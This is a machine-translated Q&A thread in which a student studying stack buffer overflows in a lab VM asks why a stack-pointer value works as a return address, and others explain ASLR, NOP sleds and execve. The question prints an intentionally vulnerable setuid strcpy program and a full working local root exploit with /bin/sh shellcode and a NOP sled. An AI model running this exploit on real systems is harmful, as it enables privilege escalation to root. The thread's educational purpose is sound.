2013-04-14 38 views
1

我是一名正在研究堆栈缓冲区溢出如何工作的计算机工程学生。我正在阅读的书是Jon Erickson的“剥削艺术(第1版)”。 为了练习我正在学习的内容,我在虚拟机中安装了Damn Vulnerable Linux发行版。我已经禁用ASRL(kernel.randomize_va_space = 0),我已经编译了以下代码:GCC 3.4.6,我正在使用GDB 6.6并且分发的内核是2.6.20。我的电脑有一个Intel处理器。 易受攻击的程序(test2)由root创建并设置为setuid。缓冲区溢出esp偏移量

易受攻击的代码如下:

//test2.c 
int main(int argc, char *argv[]) 
{ 
char buffer[500]; 

strcpy(buffer, argv[1]); 

return 0; 
} 

虽然利用代码,由正常(非根)用户创建,如下:

//main.c 
#include <stdlib.h> 

char shellcode[] = 
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 

unsigned long sp(void) 
{ 
__asm__("movl %esp, %eax"); 
} 

int main(int argc, char *argv[]) 
{ 
int i, offset; 
long esp, ret, *addr_ptr; 
char *buffer2, *ptr; 

offset = 0; 
esp = sp(); 

ret = esp - offset; 

printf("Stack pointer (ESP) : 0x%x\n", esp); 
printf(" Offset from ESP : 0x%x\n", offset); 
printf("Desired Return Addr : 0x%x\n", ret); 

buffer2 = malloc(600); 

ptr = buffer2; 
addr_ptr = (long *)ptr; 
for (i = 0; i < 600; i += 4) 
{ 
*(addr_ptr++) = ret; 
} 

for (i = 0; i < 200; i++) 
{ 
buffer2[i] = '\x90'; 
} 

ptr = buffer2 + 200; 
for (i = 0; i < strlen(shellcode); i++) 
{ 
*(ptr++) = shellcode[i]; 
} 

buffer2[600 - 1] = 0; 
execl("/root/workspace/test2/Release/test2", "test2", buffer2, 0); 

free(buffer2); 

return 0; 
} 

程序工作,它利用了test2中的缓冲区溢出漏洞,并为我提供了一个root shell。 我不明白,即使在多次阅读本书并尝试在互联网上找到答案后,我们存储在变量esp中的堆栈指针的值是我们的shellcode的返回地址。我用GDB反汇编了这个程序,一切都按照作者的说法工作,但我不明白为什么会发生这种情况。

我希望向您展示如何在执行期间反汇编程序看起来像内存看起来像,但我不能从虚拟机上的来宾机复制/粘贴,我不允许插入图像我的问题。因此,我只能描述执行程序main(在test2中利用BOF的那个)时发生了什么:

反汇编main,我看到28字节分配在堆栈上(7个变量* 4字节) 。然后调用函数sp()并将堆栈指针的值存储在esp中。存储在变量esp中的值是0xbffff344。然后,你可以看到,我们有一些printf,我们将有效载荷存储在buffer2中,然后我们调用传递buffer2作为参数的execl函数。

现在出现root shell,然后程序退出。在设置不同的偏移量之后拆分程序,我可以清楚地看到0xbffff344恰恰是执行test2时存储有效负载的地址。你能向我解释这是怎么发生的? execl是否为test2程序设置了一个新的堆栈框架?在main.c中,只有28个字节分配在堆栈上,而test2中的500个字节分配在堆栈上(对于buffer2)。那么我怎么知道我在main.c中得到的堆栈指针正好是shellcode的返回地址呢?

如果我写了一些愚蠢的东西,我感谢你并道歉。

回答

2

你能解释我是怎么发生的?

当禁用ASLR时,每个可执行文件都在相同的地址开始,因此给定堆栈指针,您可以猜测所需的偏移量,以便在test2中找到您的缓冲区位置。这也是NOP雪橇变得有用的地方,因为如果偏移量不是shellcode的精确位移,它会给你多个可能的命中。

这就是说你的exploit程序的主函数中ESP的值是test2中执行的缓冲区的位置似乎是不正确的。你确定你只是不误解gdb结果吗?

你应该能够计算使用缓冲器的位移如下:ESP - 500 + 28

注意,使用这样的公式时,你应该经常戴手套:编译器如何处理本地人,(大小,订单等)可能会有所不同。

那么我怎么知道我在main.c中得到的堆栈指针正好是shellcode的返回地址呢?

嗯,你没有。它取决于机器,程序是如何编译的等等。

execl是否为test2程序设置了一个新的栈帧?

从execve的手册页:

功能的高管家属应带一个新的进程映像替换当前的进程映像 。新图像应由一个名为新过程映像文件的常规可执行文件 构建。 将不会从成功的执行者返回,因为调用进程 图像被新的过程映像覆盖。

堆栈被test2的新堆栈覆盖。

希望它有帮助:)

+0

感谢您的答复。我同意你的答案,我会像你这样计算偏移量:esp-500 + 28。令我吃惊的是,即使offset = 0,gdb也证实了这个漏洞。还有一件事:当我在exploit程序的执行过程中使用gdb来检查内存时,我发现堆栈上似乎确实存在两个“缓冲区”(带有NOP,shellcode和rets)。第一个从存储在变量“esp”中的地址开始,而另一个存储在堆栈中的较低地址处(似乎后者是脆弱函数的实际本地缓冲区)。有关这个事实的任何想法? – condorwasabi

+0

与我们将指针传递给函数execl的指针有什么关系?我在考虑:考虑到在execl结束并且利用缓冲区存储在堆中(当我们在exploit程序中构建它时),存储在堆上的数据“丢失”,当我们将“buffer2”传递给execl时,我们传递指向堆中存储的内容将丢失的指针。也许execl会复制堆栈上的所有漏洞缓冲区并由于某种原因(重合?),此缓冲区将从存储在“esp”中的地址开始,这也是我们传递给execl的第三个参数的地址。 – condorwasabi

+0

哪里/什么时候你看到栈上有两个缓冲区? Afaik传统的strcpy实现只与一些本地指针/索引一起工作(查看[link](http://sourceware.org/git/?p=glibc.git))。所以这不太可能是因为strcpy本地缓冲区。一件好事可能是在strcpy函数中设置一个断点(break strcpy)并自己查看指令和堆栈/寄存器。例如,在我的机器上,stdlib是用SSE2支持编译的,两个参数是通过寄存器传递的。所以这真的是平台的依赖。 – dna